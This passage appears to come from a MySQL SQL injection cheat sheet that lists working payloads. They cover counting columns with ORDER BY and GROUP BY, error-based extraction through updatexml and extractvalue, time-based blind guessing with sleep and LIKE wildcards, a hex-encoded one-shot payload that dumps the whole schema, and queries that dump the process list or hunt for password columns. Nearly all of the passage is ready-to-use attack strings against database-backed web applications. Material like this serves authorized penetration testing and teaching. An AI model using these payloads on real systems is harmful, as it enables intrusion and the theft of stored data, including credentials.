Keep incrementing the number until you get a False response.
Even though GROUP BY and ORDER BY have different funcionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query.
```sql
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
```
or
```sql
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
```
#### using `order by` or `group by` Error Based
Similar to the previous method, we can check the number of columns with 1 request if error showing is enabled.
```sql
1' ORDER BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+
1' GROUP BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+
MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--
?id=1 AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--
['_'](https://www.w3resource.com/sql/wildcards-like-operator/wildcards-underscore.php) acts like the regex character '.', use it to speed up your blind testing
```sql
SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';
1 and (select sleep(10) from dual where database() like '%')#
1 and (select sleep(10) from dual where database() like '___')#
1 and (select sleep(10) from dual where database() like '____')#
1 and (select sleep(10) from dual where database() like '_____')#
1 and (select sleep(10) from dual where database() like 'a____')#
...
1 and (select sleep(10) from dual where database() like 's____')#
1 and (select sleep(10) from dual where database() like 'sa___')#
...
1 and (select sleep(10) from dual where database() like 'sw___')#
1 and (select sleep(10) from dual where database() like 'swa__')#
1 and (select sleep(10) from dual where database() like 'swb__')#
1 and (select sleep(10) from dual where database() like 'swi__')#
...
1 and (select sleep(10) from dual where (select table_name from information_schema.columns where table_schema=database() and column_name like '%pass%' limit 0,1) like '%')#
(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#
+concat(0x3c666f6e7420636f6c6f723d7265643e3c62723e3c62723e7e7472306a416e2a203a3a3c666f6e7420636f6c6f723d626c75653e20,version(),0x3c62723e546f74616c204e756d626572204f6620446174616261736573203a3a20,(select count(*) from information_schema.schemata),0x3c2f666f6e743e3c2f666f6e743e,0x202d2d203a2d20,concat(@sc:=0x00,@scc:=0x00,@r:=0,benchmark(@a:=(select count(*) from information_schema.schemata),@scc:=concat(@scc,0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d7265643e,LPAD(@r:=@r%2b1,3,0x30),0x2e20,(Select concat(0x3c623e,@sc:=schema_name,0x3c2f623e) from information_schema.schemata where schema_name>@sc order by schema_name limit 1),0x202028204e756d626572204f66205461626c657320496e204461746162617365203a3a20,(select count(*) from information_Schema.tables where table_schema=@sc),0x29,0x3c2f666f6e743e,0x202e2e2e20 ,@t:=0x00,@tt:=0x00,@tr:=0,benchmark((select count(*) from information_Schema.tables where table_schema=@sc),@tt:=concat(@tt,0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3e,LPAD(@tr:=@tr%2b1,3,0x30),0x2e20,(select concat(0x3c623e,@t:=table_name,0x3c2f623e) from information_Schema.tables where table_schema=@sc and table_name>@t order by table_name limit 1),0x203a20284e756d626572204f6620436f6c756d6e7320496e207461626c65203a3a20,(select count(*) from information_Schema.columns where table_name=@t),0x29,0x3c2f666f6e743e,0x202d2d3a20,@c:=0x00,@cc:=0x00,@cr:=0,benchmark((Select count(*) from information_schema.columns where table_schema=@sc and table_name=@t),@cc:=concat(@cc,0x3c62723e,0x3c666f6e7420636f6c6f723d707572706c653e,LPAD(@cr:=@cr%2b1,3,0x30),0x2e20,(Select (@c:=column_name) from information_schema.columns where table_schema=@sc and table_name=@t and column_name>@c order by column_name LIMIT 1),0x3c2f666f6e743e)),@cc,0x3c62723e)),@tt)),@scc),0x3c62723e3c62723e,0x3c62723e3c62723e)+
This table can list all operations that DB is performing at the moment.
```sql
union SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST #
-- Dump in one shot example for the table content.
union select 1,(select(@)from(select(@:=0x00),(select(@)from(information_schema.processlist)where(@)in(@:=concat(@,0x3C62723E,state,0x3a,info))))a),3,4 #
Need the `filepriv`, otherwise you will get the error : `ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement`
In MYSQL "`admin `" and "`admin`" are the same. If the username column in the database has a character-limit the rest of the characters are truncated. So if the database has a column-limit of 20 characters and we input a string with 21 characters the last 1 character will be removed.
- [[Sqli] Extracting data without knowing columns names - Ahmed Sultan @0x4148](https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/)